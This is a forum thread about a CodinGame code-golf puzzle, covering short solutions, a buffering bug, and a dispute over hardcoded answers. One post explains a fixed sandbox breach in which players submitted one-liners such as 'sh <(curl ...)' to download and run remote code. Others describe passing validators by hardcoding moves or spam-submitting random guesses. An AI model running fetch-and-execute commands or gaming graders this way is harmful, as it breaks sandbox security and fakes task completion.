Don't Panic - Episode 1 - Codesize - Puzzle discussion

I really wish I could see this code. This seems like magic to me.
Just printing WAIT and BLOCK takes 20-25 characters

Trying in Python3:
print(ā€œBWLAOICTKā€[0::2])
You are right, 24 characters - ultimately puzzling!

3 Likes

I seem to running in to a bug with the game engine. Iā€™m storing the command I want to issue into a variable using the Javascript ternary operator. Sometimes the command prints correctly, other times it doesnā€™t. What makes this even weirder is that printErr correctly outputs the command.

Iā€™d send you a screenshot but apparently new users arenā€™t allowed. Hereā€™s the example output:

Standard Error Stream:
BLOCK
Standard Output Stream:
WAIT
Game information:
You do nothing.

And the line of code generating it:

printErr(c),print(c)

Any idea whatā€™s going on here?

Never mind. I figured it out. If you print commands before you read all of the game data, your values get buffered in a queue. The game starts reading from the top of the queue and a delay is introduced.

1 Like

The puzzling 27 character solution dissapeared as anomalously today as it had appeared :open_mouth: One has to wonder, was it creatively using the grading system weaknesses or using other languages outside of the given ringā€¦

As itā€™s ā€œfixedā€ I think itā€™s OK to talk about that 27 char solution, it was a fun after all.
(If not, please CG staff delete this post)

As you say the ring (or jail in Linux terms) in CG puzzles are pretty good, impossible to escape.
But somehow there was internet connection in the puzzle.I knew about it in the chat (a great source of information and evil).
So the puzzle changed from solving the puzzle directly to be able to download and run the code that solves the puzzle (golf-ception).

The most simplistic solution was storing the code in pastebin and then using some URL shortener. Something like sh <(curl -L bit.ly/kekekeke). What itā€™s inside parenthesis is run first, and the output of it itā€™s executed by sh.

But there was room for reducing it by having a domain where you store the code. This reduces the URL size and letā€™s you remove the -L parameter (3 chars). The -L is to follow redirections, but if you own the domain you just store at that url the code you need.
So the theorical limit I could came up was 14 char. Something like: . <(curl x.io)
The dot and parenthesis structure is the shortest Bash command I came up for running some code and also run the result of this code.

My shortest code in it was 17char. I intentionally left it at 27 char (with unnecesary padding) because I assume the other guy was using that trick too, but as Iā€™m not sure I donā€™t want to take out his place, I just tie him.

And I want to say sorry to the CG staff. The surely had a boring time removing all those tricky submits on our accounts. But you know, we are curious, it was a codegolf inside another codegolf :smiley:

4 Likes

Yup, it was a security breach. We fixed it and removed the submissions using it.

1 Like

Oh right, thatā€™s more like itā€¦Thank you guys

Seems the elevator position and floor is not inside the constraints?
elevator floor=-5560 pos=32767lead clone pos=5 floor=0

Python 3 now on par with Bash <3

I cannot reduce my code size below 307 (in python).
Does it mean that Iā€™m stuck at this point in quest map?
What can I do to move down the quest map?

Yes, youā€™re stuck until you improve your solution. As you already have a working solution you should have access to see other peoples solutions on the standard (https://www.codingame.com/training/medium/donā€™t-panic-episode-1) version of the puzzle. Checking those may give you ideas on how to shorten your code.

2 Likes

You can also find usefull tips here:

1 Like

This is an article from the codingame blog, where you can find some tips for code golfing in python:

1 Like

The link you posted shows the solution of other people but they are all disabled!

Just copy paste the solution you used in the codegolf section, submit it in the training section, and it will unlock all solutions of the same language.

2 Likes

To all being frustrated about their solution is over 100 bytes and top solutions being way lower than that!
Iā€™ve looked at shortest solutions in the training section and I must say that most (if not all) of them are just hardcoded, i.e. tailor-made to pass validation tests.
Iā€™m not gonna copy these here but the point is in hard coding a sequence of moves (with integers or chars) and then just throwing them to the output one by one. Of course, all the input data is just ignored and never analyzed.
This is obviously no fair play.
My personal solution is in Javascript and is 143 bytes and Iā€™m happy with it.
But as Code Golf section in CG respects hardcoded entries higher I am not interested in this unsportive competition.
If I am wrong please explain me by pointing to a fair shorter solution or other fact I might be missing.
Thanks and bless you!

6 Likes

Itā€™s even worse than you think: calling code golf in another language with a system call, generating a random solution and spam submitting it until it generates the correct answer, there are lots of crazy and creative solutions. Provided it passes the validators, everything is legal. There are no rules.
In this respect, these entries are not unfair but just go beyond the limits you set to yourself.

I disagree. It may be Ok if the only condition is to pass the validation tests. But itā€™s not. The task your code needs to solve is laid in the puzzle description.
One can easily create just one more little test that perfectly fits the puzzle description (no rules changed) and plenty of those legal (as you call them) solutions will 100% break.
In this respect Iā€™m grateful to puzzle creators that align the test cases to their description to an ultimate extent. Which takes just one randomized test case.
This puzzle can be no exception: add a test with a random number of levels and random elevatorsā€™ positions and voila! - everybody has to code what is requested in the description. Wanna practice side-tricks - create a puzzle with a single rule: no rules.
Iā€™ve never seen a puzzle author who would encourage hardcoding solutions to their puzzle.

2 Likes

CG Code golf is not about solving puzzles but making it as short as possible.